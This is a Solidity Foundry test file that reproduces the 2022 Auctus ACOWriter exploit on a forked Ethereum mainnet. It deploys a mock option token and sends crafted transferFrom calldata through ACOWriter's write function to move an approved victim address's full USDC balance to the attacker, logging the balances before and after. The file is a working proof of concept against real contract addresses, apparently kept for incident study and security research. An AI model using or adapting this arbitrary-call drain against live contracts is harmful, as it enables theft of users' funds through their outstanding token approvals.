src/test/2022-03/Auctus_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "./../interface.sol";
6 
7contract MockACOToken {
8    function collateral() public view returns (address) {
9        return address(0);
10    }
11 
12    function mintToPayable(
13        address account
14    ) external payable returns (uint256) {
15        return 1;
16    }
17 
18    function balanceOf(
19        address account
20    ) public view returns (uint256) {
21        return 1;
22    }
23 
24    function approve(address spender, uint256 amount) public returns (bool) {
25        return true;
26    }
27 
28    function strikeAsset() public view returns (address) {
29        return address(this);
30    }
31 
32    function transfer(address recipient, uint256 amount) public returns (bool) {
33        return true;
34    }
35}
36 
37contract ContractTest is Test, MockACOToken {
38    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
39    IACOWriter acowrite = IACOWriter(payable(0xE7597F774fD0a15A617894dc39d45A28B97AFa4f));
40    IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
41 
42    function setUp() public {
43        cheats.createSelectFork("mainnet", 14_460_635); // fork mainnet at block 14460635
44    }
45 
46    function test() public {
47        emit log_named_uint("Before exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
48        acowrite.write{value: 1}(
49            address(this),
50            1,
51            address(usdc),
52            abi.encodeWithSelector(
53                bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))),
54                0xCB32033c498b54818e58270F341e5f6a3bce993B,
55                msg.sender,
56                usdc.balanceOf(0xCB32033c498b54818e58270F341e5f6a3bce993B)
57            )
58        );
59        emit log_named_uint("After exploit, USDC balance of attacker:", usdc.balanceOf(msg.sender));
60    }
61}